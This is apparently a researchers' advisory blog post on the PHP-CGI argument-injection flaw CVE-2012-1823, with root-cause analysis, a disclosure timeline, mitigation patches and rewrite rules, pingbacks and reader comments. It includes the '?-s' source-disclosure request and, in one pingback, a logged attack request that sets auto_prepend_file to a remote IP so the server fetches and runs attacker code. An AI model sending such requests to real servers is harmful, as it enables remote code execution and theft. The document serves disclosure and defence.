This is a detailed discussion of the generic PHP-CGI remote code execution bug we found while playing Nullcon CTF. We found that giving the query string ‘?-s’ somehow resulted in the “-s” command line argument being passed to php, resulting in source code disclosure. We explored this bug further and managed to improve our exploit to remote code execution, and trace the bug to a PHP commit in 2004.
PHP has been working on a patch for this for quite a while. We have been waiting to post this blog entry until a fix was released, but today the bug was posted to reddit because it was apparently accidentally marked public.
Now, without further ado, the bug…
The hosting service Dreamhost (which Nullcon makes use of) recommends users that wish to modify their php.ini configuration file to run their sites through a CGI wrapper, using Apache mod_actions’ Action directive like this:
Options +ExecCGI AddHandler php5-cgi .php Action php-cgi /cgi-bin/php-wrapper.fcgi Action php5-cgi /cgi-bin/php-wrapper.fcgi
php-wrapper.fcgi is a shell script that wraps php5-cgi, which has the aforementioned -s option.
#!/bin/sh exec /dh/cgi-system/php5.cgi $*
Edit: (Note that the shell-script is inherently insecure because it does shell expansion, the correct way to pass on arguments would be "$@")
We’ve tested this and have confirmed that the query parameters are passed to the php5-cgi binary in this configuration. Since the wrapper script merely passes all the arguments on to the actual php-cgi binary, the same problem exists with configurations where php-cgi is directly copied into the cgi-bin directory.
It’s interesting to note that while slashes get added to any shell metacharacters we pass in the query string, spaces and dashes (‘-’) are not escaped. So we can pass as many options to PHP as we want!
There is one slight complication: php5-cgi behaves differently depending on which environment variables have been set, disabling the flag -r for direct code execution among others.
if (!fastcgi) {
/* Make sure we detect we are a cgi - a bit redundancy here,
* but the default case is that we have to check only the first one. */
if (getenv("SERVER_SOFTWARE") ||
getenv("SERVER_NAME") ||
getenv("GATEWAY_INTERFACE") ||
getenv("REQUEST_METHOD")
) {
cgi = 1;
}
}
However, this can be trivially bypassed. We’re removing the remote code execution PoC out of an abundance of caution, but at this point anyone should be able to figure this out.
And for the record: safe_mode, allow_url_include and other security-related ini settings will not save you. See the bottom of this post for how you can protect yourself until the official patch is out.
Whose fault is this exactly? And why does the query string get parsed into command line arguments anyway? We went on a little trip around the internet to find out.
To answer the first question, there is the following text in the CGI RFC:
4.4. The Script Command Line
Some systems support a method for supplying an array of strings to
the CGI script. This is only used in the case of an 'indexed' HTTP
query, which is identified by a 'GET' or 'HEAD' request with a URI
query string that does not contain any unencoded "=" characters. For
such a request, the server SHOULD treat the query-string as a
search-string and parse it into words, using the rules
search-string = search-word *( "+" search-word )
search-word = 1*schar
schar = unreserved | escaped | xreserved
xreserved = ";" | "/" | "?" | ":" | "@" | "&" | "=" | "," |
"$"
After parsing, each search-word is URL-decoded, optionally encoded in
a system-defined manner and then added to the command line argument
list.
If the server cannot create any part of the argument list, then the
server MUST NOT generate any command line information. For example,
the number of arguments may be greater than operating system or
server limits, or one of the words may not be representable as an
argument.
The script SHOULD check to see if the QUERY_STRING value contains an
unencoded "=" character, and SHOULD NOT use the command line
arguments if it does.
We checked the Apache source, and it complies exactly with the RFC: if there is NO unescaped ‘=’ in the query string, the string is split on ‘+’ (encoded space) characters, urldecoded, passed to a function that escapes shell metacharacters (the “encoded in a system-defined manner” from the RFC) and then passes them to the CGI binary.
Unfortunately, it appears the PHP devs forgot about this section of the RFC, and decided to remove the code which defends against it somewhere in 2004:
From: Rasmus Lerdorf <rasmus <at> lerdorf.com>
Subject: [PHP-DEV] php-cgi command line switch memory check
Newsgroups: gmane.comp.php.devel
Date: 2004-02-04 23:26:41 GMT (7 years, 49 weeks, 3 days, 20 hours and 39 minutes ago)
In our SAPI cgi we have a check along these lines:
if (getenv("SERVER_SOFTWARE")
|| getenv("SERVER_NAME")
|| getenv("GATEWAY_INTERFACE")
|| getenv("REQUEST_METHOD")) {
cgi = 1;
}
if(!cgi) getopt(...)
As in, we do not parse command line args for the cgi binary if we are
running in a web context. At the same time our regression testing system
tries to use the cgi binary and it sets these variables in order to
properly test GET/POST requests. From the regression testing system we
use -d extensively to override ini settings to make sure our test
environment is sane. Of course these two ideas conflict, so currently our
regression testing is somewhat broken. We haven't noticed because we
don't have many tests that have GET/POST data and we rarely build the cgi
binary.
The point of the question here is if anybody remembers why we decided not
to parse command line args for the cgi version? I could easily see it
being useful to be able to write a cgi script like:
#!/usr/local/bin/php-cgi -d include_path=/path
<?php
...
?>
and have it work both from the command line and from a web context.
As far as I can tell this wouldn't conflict with anything, but somebody at
some point must have had a reason for disallowing this.
-Rasmus
Oddly enough, the PHP documentation still claims that PHP ignores command line arguments when run in CGI mode. That documentation page also describes another mitigation used in PHP: the REDIRECT_STATUS environment variable must be set, or PHP will refuse to run as a CGI script. This means we cannot directly access /cgi-bin/php5-cgi. This doesn’t really inconvenience us though, as mentioned earlier
NOTE: This section is now out of date! PHP has released versions PHP 5.3.12 and PHP 5.4.2, as well as an official mod_rewrite based workaround which fix the issue described in this post.
The new PHP release is buggy. You can use their mitigation mod_rewrite rule, but the patch and new released versions do not fix the problem. At the bottom we have added a version of the PHP patch that fixes the obvious problem with the patch merged in the recently released security update.
The following tarball contains two ways of mitigating the vulnerability.
See CVE-2012-1823-mitigation.tar.gz
The first method is to have a small wrapper binary around the php-cgi binary.
/*
* Small wrapper which strips all arguments to invocations
* of php-cgi when it is called as a normal CGI handler.
* This prevents attackers to pass arguments from the query
* string as defined in RFC 3875. [1]
*
* [1] http://www.ietf.org/rfc/rfc3875
*
*/
#include <sys/socket.h>
#include <sys/un.h>
#include <netinet/in.h>
#include <unistd.h>
#include <errno.h>
#define PHP_ORIG "/usr/bin/php5-cgi.orig" /* Original binary */
typedef union _sa_t {
struct sockaddr sa;
struct sockaddr_un sa_unix;
struct sockaddr_in sa_inet;
/* struct sockaddr_in6 should probably be here as well,
* doesn't matter though, since struct sockaddr_un
* is big.
*/
} sa_t;
int is_fastcgi(void)
{
sa_t sa;
socklen_t len = sizeof(sa);
return ( getpeername(0, (struct sockaddr *)&sa, &len) != 0 &&
errno == ENOTCONN );
}
int main(int argc, char **argv)
{
/* mimic php's cgi detection */
if ( !is_fastcgi() &&
(getenv("SERVER_SOFTWARE") ||
getenv("SERVER_NAME") ||
getenv("GATEWAY_INTERFACE") ||
getenv("REQUEST_METHOD") ) )
argv[1] = NULL;
execv(PHP_ORIG, argv);
}
The second way is a patch for PHP, which disables the parsing of arguments if
php-cgi is invoked as non-fastcgi cgi.
Disable argument parsing when invoked as CGI (and NOT when invoked as
FastCGI.) This to prevent programs from passing arguments to php-cgi
via the query string as specified by RFC 3875. [1]
This patch may break CGI scripts that depend on arguments passed via
shebang arguments, eg. '#!/usr/bin/php-cgi -dmagic_quotes_gpc=Off',
but this is inherently unsafe, since these arguments may have come from
the network.
Backward compatibility could theoretically be faked by parsing the
shebang arguments from the file itself, but this leads to a circular
dependency since the script filename depends on the configuration which
may be changed in the shebang line of the file (due to cgi.fix-pathinfo.)
[1] http://www.ietf.org/rfc/rfc3875
Index: sapi/cgi/cgi_main.c
===================================================================
--- sapi/cgi/cgi_main.c (revision 322984)
+++ sapi/cgi/cgi_main.c (working copy)
@@ -1552,7 +1552,7 @@
}
}
- while ((c = php_getopt(argc, argv, OPTIONS, &php_optarg, &php_optind, 0, 2)) != -1) {
+ if (!cgi) while ((c = php_getopt(argc, argv, OPTIONS, &php_optarg, &php_optind, 0, 2)) != -1) {
switch (c) {
case 'c':
if (cgi_sapi_module.php_ini_path_override) {
@@ -1801,7 +1801,7 @@
}
zend_first_try {
- while ((c = php_getopt(argc, argv, OPTIONS, &php_optarg, &php_optind, 1, 2)) != -1) {
+ if (!cgi) while ((c = php_getopt(argc, argv, OPTIONS, &php_optarg, &php_optind, 1, 2)) != -1) {
switch (c) {
case 'T':
benchmark = 1;
UPDATE: There is now a third option. This patch should be applied on top of the current PHP source (including the security update that was supposed to fix the issue described in this blog entry).
This patch fixes an obvious mistake made by the PHP devs. We have verified that without this patch, the most recent PHP can still be exploited.
UPDATE: as Christopher Kunz from http://www.php-security.net points out to us that If you use the the same (insecure) wrapper as in our example, the patch below can still be circumvented by prepending a ‘+’, like ‘+-s’. Our solutions above should work just fine in this case.
diff --git a/sapi/cgi/cgi_main.c b/sapi/cgi/cgi_main.c
index e6d011b..8e2d0ba 100644
--- a/sapi/cgi/cgi_main.c
+++ b/sapi/cgi/cgi_main.c
@@ -1809,7 +1809,7 @@ int main(int argc, char *argv[])
if(query_string = getenv("QUERY_STRING")) {
decoded_query_string = strdup(query_string);
php_url_decode(decoded_query_string, strlen(decoded_query_string));
- if(*decoded_query_string == '-' && strchr(decoded_query_string, '=') == NULL) {
+ if(*decoded_query_string == '-' && strchr(query_string, '=') == NULL) {
skip_getopt = 1;
}
free(decoded_query_string);
13-01: Vulnerability discovered, used to pwn Nullcon Hackim 2012 scoreboard
13-01: We discuss the issue with Nullcon admins, find out it is a php 0day
17-01: We contact security@php.net with a full report and a suggested patch
01-02: We ask PHP to confirm receipt, state our intent to hand off the vulnerability to CERT if progress is not made
01-02: PHP forwards vulnerability report to PHP CGI maintainer
23-02: CERT acknowledges receipt of vulnerability and attempts to contact PHP.
05-04: We ask CERT for a status update
05-04: CERT responds saying that PHP is still working on a fix
20-04: We ask CERT to proceed with disclosure unless a patch is imminent
26-04: CERT prepares draft advisory.
02-05: CERT notifies us that PHP is testing a patch and would like more time. we agree.
03-05: Someone posts a mirror of the internal PHP bug to reddit /r/netsec /r/opensource and /r/technology. It was apparently accidentaly marked public.
UPDATE: The PHP bug report is now public again and is marked as closed. Go there for information on the patch and a mod_rewrite based workaround. Do NOT rely on the homebrew workarounds in the comments below, they do not provide adequate protection!
UPDATE2: PHP has released versions PHP 5.3.12 and PHP 5.4.2, as well as an official mod_rewrite based workaround which fix the issue described in this post.
UPDATE3: The new PHP release is buggy. You can use their workaround, but the new releases and their patch do not fix the issue. Use our mitigations for now.
UPDATE4: Added a new patch which should be applied on top of PHP’s new security update. This patch fixes the mistake made by PHP in their security update, and without it your PHP will still be exploitable. Look at the bottom of the mitigation section.
UPDATE5: We have received word that new PHP updates with the revised fix will be released soon. The issue that this problem was not properly fixed by the original security update is being tracked as CVE-2012-2311. Updates to this blog will be less frequent for the following hours due to it being nighttime / early morning in the Netherlands.
We apologize for the mess this blogpost has become; if anything is unclear please don’t hesitate to ask in the comments. We don’t want to reorganise the blog post too much so people can still find what they want.
[...] Additional information can be found in the vulnerability reporter’s blog post. [...]
[...] május 3 – admin Az Eindbazen csapata a Nullcon CTF versenyén fedezett fel egy távoli kódfuttatásra alkalmas hibát a PHP CGI burkolójában. A problémát jelentették a [...]
[...] como CVE-2012-1823, la vulnerabilidad fue descubierta por el grupo Eindbazen y comunicada al grupo PHP en el mes de febrero aunque todavía no hay un parche específico para [...]
[...] ontdekkers (die zich De Eindbazen noemen) hebben besloten hun vondst te openbaren. De gedetailleerde uitleg over dit 0-day gat in PHP zijn te vinden op het securityblog van De Eindbazen. Daarin zijn ook [...]
[...] проблемы тривиальна — достаточно передать опцию командной строки, [...]
[...] reddit gepostet und die Katze war aus dem Sack. Das CTF-Team veröffentlichte kurz danach weitere Informationen zu der PHP-Lücke in einem [...]
[...] then highlighted in a posting on Reddit, at which point the cat was out of the bag. The CTF team published information afterwards about the PHP [...]
[...] that could be remotely leveraged by an attacker for command execution and source code disclosure.According to the researchers, while playing Nullcon CTF, they’ve noticed that if they input an “?-s” query [...]
[...] проблемы тривиальна — достаточно передать опцию командной строки, [...]
[...] kwetsbaarheid is begin januari ontdekt door De Eindbazen, een groep beveiligingsonderzoekers. Aanvankelijk werd door de groep [...]
[...] reddit gepostet und die Katze war aus dem Sack. Das CTF-Team veröffentlichte kurz danach weitere Informationen zu der PHP-Lücke in einem [...]
[...] 具体漏洞说明及第三方修复方法:http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/ [...]
[...] faille de sécurité assez grave vient d'être découverte dans les versions 5.3 et 5.4 de PHP. L'utilisation d'une simple requête HTTP permet d'afficher le [...]
[...] werden.Weitere Informationen gibt es unter: http://www.kb.cert.org/vuls/id/520827 http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/ Hinterlasse eine Antwort Antworten abbrechenDeine E-Mail-Adresse wird nicht veröffentlicht. [...]
[...] faille de sécurité assez grave vient d’être découverte dans les versions 5.3 et 5.4 de PHP. L’utilisation d’une simple requête HTTPpermet [...]
[...] dat volgens hem deze noodoplossing helemaal niets oplost. Eindbazen.net meldt hetzelfde en zeggen een oplossing te hebben gevonden voor de gebreken van de spoedpatch van PHP. Op korte termijn willen de [...]
[...] Source : http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/ [...]
[...] проблемы тривиальна – достаточно передать опцию командной строки, [...]
[...] Se pare că PHP rulat peste CGI suferă de o serioasă gaură de securitate, vezi: http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/, http://threatpost.com/en_us/blogs/serious-remote-php-bug-accidentally-disclosed-050312 . [...]
[...] }); })(jQuery); Vgl. Release-Ankündigung von PHP 5.3.12 und 5.4.2, engl. [↩]Vgl. Eindbazen inkl. Updates des Beitrags, engl. [↩] PLISTA.items.push({"objectid":5155,"title":"PHP: Sicherheitslücke in allen [...]
[...] проблемы тривиальна — достаточно передать опцию командной строки, [...]
[...] De beveiligingsonderzoekers die de bug ontdekten, een groep die zichzelf De Eindbazen noemt, adviseren om een van de twee door hen geschreven patches zelf door te voeren in de [...]
[...] проблемы тривиальна — достаточно передать опцию командной строки, [...]
[...] Donnerstag veröffentlichten Updates auf die PHP-Versionen 5.3.12 und 5.4.2 sind fehlerhaft. Darauf weisen die Entdecker der Schwachstelle hin, welche eigentlich durch die Updates behoben werden sollte. [...]
[...] FastCGI for PHP installations are not affected. The vulnerability can only be exploited if the HTTP server follows a fairly obscure part of the CGI spec, according to Eindbazen, the group of researchers that initially found the [...]
[...] beveiligingsonderzoekers die de bug ontdekten, een groep die zichzelf De Eindbazen noemt, adviseren om een van de twee door hen geschreven patches zelf door te voeren in de broncode. De officiële [...]
[...] 国外又发布了一个牛逼闪闪的php cgi远程任意代码执行漏洞:http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/ [...]
[...] FastCGI for PHP installations are not affected. The disadvantage can usually be exploited if a HTTP server follows a sincerely problematic partial of a CGI spec, according to Eindbazen, a organisation of researchers that primarily found a [...]
[...] we can pass as many options to PHP as we want!” the team that discovered the flaw, known as Eindbazen, wrote in their analysis of the [...]
[...] FastCGI for PHP installations are not affected. The vulnerability can only be exploited if the HTTP server follows a fairly obscure part of the CGI spec, according to Eindbazen, the group of researchers that initially found the [...]
[...] Donnerstag veröffentlichten Updates auf die PHP-Versionen 5.3.12 und 5.4.2 sind fehlerhaft. Darauf weisen die Entdecker der Schwachstelle hin, welche eigentlich durch die Updates behoben werden sollte. [...]
[...] появляются на reddit.com; 03.05 – в блоге Eindbazen появляется пост с PoC для просмотра исходного кода PHP-скрипта 04.05 – [...]
[...] that could be remotely leveraged by an attacker for command execution and source code disclosure. According to the researchers, while playing Nullcon CTF, they’ve noticed that if they input an “?-s” query [...]
[...] has posted some alternatives for dealing with the PHP bug until a permanent fix is [...]
[...] has posted some alternatives for dealing with the PHP bug until a permanent fix is [...]
[...] has posted some alternatives for dealing with the PHP bug until a permanent fix is [...]
What is the attempted exploit in requesting “http://facebook.com/?-s”?…
The PHP manual pages says the -s flag is to “Output HTML syntax highlighted source.” In other words, if the exploit is successful, in a browser you would see the PHP source code of the page with pretty color syntax highlighting instead of its intende…
[...] has posted some alternatives for dealing with the PHP bug until a permanent fix is [...]
[...] cgi远程任意代码执行漏洞:http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/ [...]
[...] 在这个星期,国外黑客爆出了一个PHP可以远程任意代码执行的漏洞(http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/),这个漏洞使得很多服务器、虚拟主机被攻陷,也引起个站长的恐慌。 [...]
[...] discovered at Nullcon Hackim 2012 by eindbazen the 2012-01-13 Vulnerability reported to the vendor the 2012-01-17 Vulnerability accidentally [...]
[...] Ésta vulnerabilidade permite que sejam passados comandos pelo URI como se tratassem de comandos passados na shell, permitindo assim a um atacante ver o código-fonte dos scripts assim como se torna também possível a execução de código. Esta vulnerabilidade foi descoberta pela equipa Eindbazen. [...]
[...] arbitrary code with the privileges of the web server. The team that found the bug, known as Eindbazen. They said that it had been waiting for several months for the PHP Group to release a patch for [...]
[...] [...]
[...] on Thursday do not entirely solve a disadvantage that was incidentally disclosed on Reddit, according to a precursor of a flaw. The bug in a approach CGI and PHP correlate with any other leads to a [...]
[...] The Eindbazen group’s post on CVE 2012-1832. [...]
[...] pass plenty of alternatives to PHP as we desire!” the team that discovered the flaw, known as Eindbazen, wrote in their analysis of the [...]
[...] has posted some alternatives for traffic with a PHP bug until a permanent repair is [...]
[...] Eindbazen PHP-CGI advisory (CVE-2012-1823) [...]
[...] allvarlig brist i PHP i kombination med CGI (CS) http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/ [...]
[...] do czynienia z 0day’em) należy zgłaszać developerom, a nie pisać o nich publicznie. Odkrywcy błędu tak też postąpili, ale opis podatności wyciekł poprzez bazę błędów PHP i został [...]
[...] seinem Server das Recht dazu hat und es sich zutraut. Den anzupassenden Quellcode findet Ihr hier: http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/Option 3:Auf das morgige Update von php.net warten und ein PHP-Update auf die Version 5.3.13 oder [...]
[...] http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/ Comparte [...]
[...] PHP web server flaw, patch ineffective [...]
[...] DE EINDBAZEN » Eindbazen PHP-CGI advisory (CVE-2012-1823) [...]
[...] [1] PHP-CGI advisory (CVE-2012-1823) http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/ [...]
[...] the update anyway and then follow several steps to mitigate their exposure, including applying a second patch published last week by researchers on Eindbazen.net. Barnett’s post also includes steps [...]
[...] the update anyway and then follow several steps to mitigate their exposure, including applying a second patch published last week by researchers on Eindbazen.net. Barnett’s post also includes steps [...]
[...] the PHP-CGI vulnerability was disclosed, we knew it would be just a matter of days before it started to be exploited in the [...]
[...] bug in PHP 5 was released, somewhat accidentally (apparently somebody made a reddit post public inadvertently…why [...]
[...] allows malicious users to remotely view and execute source code. The exploit was documented by the Eindbazen team and documented as [...]
[...] in the WildBy Antivir – 8.5.2012Posted in: Web malware When the PHP-CGI vulnerability was disclosed, we knew it would be just a matter of days before it started to be exploited in the [...]
[...] الأخرى للحد من خطر هذه الثغرة، بما في ذلك تطبيق الترقيع الثاني الذي تم نشره الأسبوع الماضي من قبل باحثين على موقع [...]
[...] If you’re using the CGI flavor of PHP, upgrading is highly recommended. You can see more info on PHP’s website and on this useful blog post. [...]
[...] the PHP-CGI vulnerability was disclosed, we knew it would be just a matter of days before it started to be exploited in the [...]
[...] allows malicious users to remotely view and execute source code. The exploit was documented by the Eindbazen team and documented as [...]
[...] allows malicious users to remotely view and execute source code. The exploit was documented by the Eindbazen team and documented as [...]
[...] PHP-CGI remote code execution bug was discovered by German security researchers, who traced the flaw to changes introduced in the [...]
[...] allows malicious users to remotely view and execute source code. The exploit was documented by the Eindbazen team and documented as [...]
[...] PHP-CGI remote code execution bug was discovered by security researchers, who traced the flaw to changes introduced in the codebase [...]
[...] PHP-CGI remote code execution bug was discovered by security researchers, who traced the flaw to changes introduced in the codebase [...]
[...] been a lot of talk in the last few days about a nasty PHP security bug that allows “hackers” to compromise some Web sites that use the PHP scripting [...]
[...] faille a été découverte dans PHP-CGI par Eindbazen. Elle permet entre autres d’obtenir le code source d’un script PHP sur un serveur [...]
[...] allows malicious users to remotely view and execute source code. The exploit was documented by the Eindbazen team and documented as [...]
[...] Details on the attack and mitigation strategies [...]
[...] уου mау hаνе heard, ѕοmе wellbeing researchers јυѕt released information outlining a lingering permanent vulnerability surrounded bу thе PHP-CGI language. Thе [...]
[...] PHP-CGI-based setups contain vulnerability when parsing query string parameters from PHP files. PHP CGI Advisory You can find more information at the PHP‘s website. A remote unauthenticated attacker could [...]
[...] Active Exploit Attempts for PHP-CGI Vuln >> SpiderLabs Anterior As you may have heard, some security researchers recently released information outlining a long-standing vulnerability within the PHP-CGI code. The short of it is that remote attackers may [...]
[...] has posted some alternatives for traffic with a PHP bug until a permanent repair is [...]
[...] "GET /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.82%2Finfo3.txt HTTP/1.1" AFAIK this is CVE-2012-1823. See http://www.php.net/archive/2012.php#id2012-05-03-1 and http://eindbazen.net/2012/05/php-cgi…cve-2012-1823/ [...]
[...] [NC] RewriteRule ^(.*) $1? [L]Weitere Informationen befinden sich auf der Seite des US-CERT, viele Details bei den Findern der Lücke, im Bugtracker oder natürlich bei Heise im Forum Achso, interessanterweise hat Stefan Esser [...]
[...] allows malicious users to remotely view and execute source code. The exploit was documented by the Eindbazen team and documented as [...]
[...] something else you might want to try: php cgi bug. You can easily test if your server is susceptible. Answered by [...]
[...] arbitrary code with the privileges of the web server. The team that found the bug, known as Eindbazen. They said that it had been waiting for several months for the PHP Group to release a patch for the [...]
[...] testing IPs that were sources of attacks on php-cgi vulnerability discovered by eindbazen (CVE-2012-1823) accidentally found XSS in Referer header in RomPager/4.07 embedded web [...]
[...] against the PHP-CGI Remote Code Execution Bug (CVE-2012-1823) discovered on the 3rd May 2012 by Security Researchers from Eindbazen 0.# PHP-CGI Vulnerability 1.RewriteCond %{QUERY_STRING} ^(%2d|-)[^=]+$ [NC] 2.RewriteRule (.*) – [...]
[...] 国外又发布了一个牛逼闪闪的php cgi远程任意代码执行漏洞:http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/ [...]
[...] 首发:php cgi远程任意代码执行漏洞:http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/ [...]
[...] the IP address 91.224.160.141 was detected targeting sites, searching for the recently disclosed PHP CGI vulnerability .This scanner is operating from a server belonging to the Bergdorf Group located [...]
[...] un equipo de competiciones CTF, ha descubierto una vulnerabilidad en PHP-CGI que permite pasar parámetros al intérprete de PHP, como -s o -r, a través de la URL. Por ejemplo [...]
[...] Bon je vous avoue que je restais tout de meme intrigué. je fais donc une recherche rapide, et là je tombe sur un article du 3 mai 2012 : http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/ [...]
[...] Team, welches den Fehler gefunden hat, stellt ihn ihrem Blog eine Möglichkeit vor sich bis zum Erscheinen des Patches durch ein Wrapper-Skript zu [...]
[...] “We’ve tested this and have confirmed that the query parameters are passed to the php5-cgi binary in this configuration. Since the wrapper script merely passes all the arguments on to the actual php-cgi binary, the same problem exists with configurations where php-cgi is directly copied into the cgi-bin directory. It’s interesting to note that while slashes get added to any shell metacharacters we pass in the query string, spaces and dashes (‘-’) are not escaped. So we can pass as many options to PHP as we want!” researchers said in the PHP-CGI advisory CVE-2012-1823 vulnerability. [...]
[...] 国外又发布了一个牛逼闪闪的php cgi远程任意代码执行漏洞:http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/ [...]
[...] Eindbazen PHP-CGI advisory (CVE-2012-1823) Fuente: [...]
[...] we can pass as many options to PHP as we want!” the team that discovered the flaw, known as Eindbazen, wrote in their analysis of the [...]
[...] “We’ve tested this and have confirmed that the query parameters are passed to the php5-cgi binary in this configuration. Since the wrapper script merely passes all the arguments on to the actual php-cgi binary, the same problem exists with configurations where php-cgi is directly copied into the cgi-bin directory. It’s interesting to note that while slashes get added to any shell metacharacters we pass in the query string, spaces and dashes (‘-’) are not escaped. So we can pass as many options to PHP as we want!” they wrote in their analysis of the PHP CVE-2012-1823 vulnerability. [...]
[...] sites exposed to attack. There are mitigations available for the bug, as explained by the Eindbazen team that found the flaw, but users should upgrade their installations as soon as they [...]
Just curious … in the wrapper shell script, why is an unquoted $* used? I’d have expected the wrapper script to use a quoted $*, like this:
exec /dh/cgi-system/php5.cgi “$*”
That preserves the positional parameters correctly.
I’d use “$@” since that won’t concatenate the arguments together as well as not expand them.
Isn’t it the actual flaw? Why $ or $* or whatever is necessary? Isn’t PHP using ENV when it is not provided?
Would this .htaccess directive be a secure workaround?
http://pastebin.com/87sfaYL1
Found at reddit netsec thread, by Eruonen.
It will not protect you if you have a wrapper script which does not preserve the position of parameters, like the php-wrapper.fcgi from our advisory. In that case you could bypass the htaccess by making the command line start with a space instead of a ‘-’.
I have not looked at the Apache source again to see if this would protect you btw, this is just one problem I can think of out of hand.
Wouldn’t this work?
RewriteEngine on
RewriteCond %{QUERY_STRING} ^[^=]*$
RewriteRule (.*) / [L]
Essentially, it will eradicate any attempts to use query strings without an equals sign in them, and thus avoid the noxious behaviour.
That looks reasonably solid from a security viewpoint.
You’d have to make sure that this doesn’t affect any non-cgi urls in a negative way though. As such, your solution may not be suitable for large shared hosting providers which have to deal with many different kinds of hosted content.
One thing I can think of that this might break is sites that include their css and javascript with a ‘?1336061260′ timestamp appended to force a reload.
several steps to mitigate, but not bulletproof:
1) move your critical code (containing db passwords etc) into a separate folder, using .htaccess “Deny from All” directive to block any requests to it… your index.php script should only be kicking off code in that folder, which cannot be directly accessed… this limits your exposure to a script that contains no secrets
2) if you’re using mod_rewrite and you don’t use querystrings at all, you can change your redirects to go to “index.php?” instead of just index.php, nuking all querystring info
same trick works with ErrorDocument
1) This is not sufficient. Even one empty PHP file being accessible yields arbitrary remote code execution.
2) You’d have to be very careful that no php file remains accessible without being matched by a querystring-nuking mod_rewrite rule.
Really curious about the RCE vector here. Is “one PHP file accessible” the only condition at all?
Yes. At that point you’re passing arbitrary command line options to the phpcgi binary and that’s game over. It’s not very difficult, but please don’t post exploits just yet if you figure it out.
Sure, I will keep my lips zipped.
yeah sorry I failed to recognize the exploit is a remote execution one and that the -s is a smaller concern than that, just a PoC thing
my stuff mitigates code leakage but that doesn’t mean much if you can run arbitrary code and do any kind of directory traversal
This got out yesterday at /r/php first then spread to other subreddits.
btw looks like this vuln exists in php-fpm too. Take a look at sapi/fpm/fpm/fpm_main.c
Got this as suggestion from some webhosting-support:
RewriteCond %{QUERY_STRING} ^-w$It forbids “dash and a letter” and seems to work for the “?-s” problem at first sight.
But I can also see the php-source when adding “?-ss” or “?-sssss” or more “s”, and the above suggestion won’t catch these.
This “multiple s” fact should be taken into account when developing hotfixes via .htaccess or similar.
Further testing reveals, encoding the “-” as %2d gets also around it.
An “official” hotfix has been posted by rasmus in the comments of the bug-page
https://bugs.php.net/bug.php?id=61910
RewriteEngine onRewriteCond %{QUERY_STRING} ^(%2d|-)[^=]+$ [NC]
RewriteRule ^(.*) $1? [L]
Don’t keep your fingers crossed for 5.4.2 – the issue is still around.
5.4.2 has just been released:
PHP 5.3.12 and PHP 5.4.2 Released!
The issue is not fixed. I’m building a nightly now to see if they got it there, but last night when I went to bed I still had a working PoC.
The ‘official’ one doesn’t work properly either. Does in some cases but not in others.
Couldn’t reproduce (at least with the PoC ?-s) this on the same config (php-cgi and wrapper) on Debian stable.
Nevermind, it works, i was not using exactly the same wrapper, i do not have $* in the wrapper, it does not work without it or maybe it does but not with the actual PoC.
That esser guy seems to brag a lot on twitter but does not provide a better rewrite-rule. Thanks for this, not, esser guy.
What about a rule like this?
RewriteEngine on
RewriteCond %{QUERY_STRING} ^[^=]*$
RewriteCond %{QUERY_STRING} %2d|- [NC]
RewriteRule .? - [F,L]
Uhm. This looks like “if the query string doesn’t start with an equal sign and contains a dash” to me. We want “if the query string starts with a dash and doesn’t contain an equal sign”.
I will try to come up with a working rule today, but the one on PHP.net is definitely not the way to go.
I just tried the RewriteRule mentioned above and it seems to mitigate the current issue correctly.
A real PoC is public since today on some chinese pages… won’t post it here but you have been warned…
Thank you for the C wrapper. I used the following perl to roll out the wrapper to a number of php-cgi binaries (cat list | mkc, and please test first if anybody decides to use this).
#!/usr/bin/perl
use warnings;
use strict;
use File::Copy;
my $gcc = '/usr/bin/gcc';
my $tempfile = "/var/tmp/$$.c";
my $c = <<CPROG;
/*
* Small wrapper which strips all arguments to invocations
* of php-cgi when it is called as a normal CGI handler.
* This prevents attackers to pass arguments from the query
* string as defined in RFC 3875. [1]
*
* [1] http://www.ietf.org/rfc/rfc3875
*
*/
#include
#include
#include
#include
#include
#define PHP_ORIG "REALPATH" /* Original binary */
typedef union _sa_t {
struct sockaddr sa;
struct sockaddr_un sa_unix;
struct sockaddr_in sa_inet;
/* struct sockaddr_in6 should probably be here as well,
* doesn't matter though, since struct sockaddr_un
* is big.
*/
} sa_t;
int is_fastcgi(void)
{
sa_t sa;
socklen_t len = sizeof(sa);
return ( getpeername(0, (struct sockaddr *)&sa, &len) != 0 &&
errno == ENOTCONN );
}
int main(int argc, char **argv)
{
/* mimic php's cgi detection */
if ( !is_fastcgi() &&
(getenv("SERVER_SOFTWARE") ||
getenv("SERVER_NAME") ||
getenv("GATEWAY_INTERFACE") ||
getenv("REQUEST_METHOD") ) )
argv[1] = NULL;
execv(PHP_ORIG, argv);
}
CPROG
#print $c;
while () {
chomp;
my $orig = $_;
my $real = "${orig}.real";
if ( -e $orig ) {
my $prog = $c;
$prog =~ s,REALPATH,$real,gs;
if ( move( $orig, $real ) ) {
open my $f, '>', $tempfile;
print $f $prog;
close $f;
my $fh;
if ( open( $fh, '-|', $gcc, '-o', $orig, $tempfile ) ) {
#fine
}
else {
print STDERR "problem compiling $orig, moving on.n";
next;
}
close $fh;
}
else {
print STDERR "problem moving $orig, moving on.n";
next;
}
}
else {
print STDERR "$orig does not exist, moving on.n";
next;
}
}
http://pastebin.com/QZjTFBWx
Well, the blog software ate my perl. I’m sleepy now, off to bed.
Your latest patch does not fix the issue yet. I still have a working exploit (with a trivial change. Can the admins of this site contact me via e-mail? Seeing there’s an 0day itw, I’d like to get a patch out of the door but I can’t write any C. Oh, the shame!
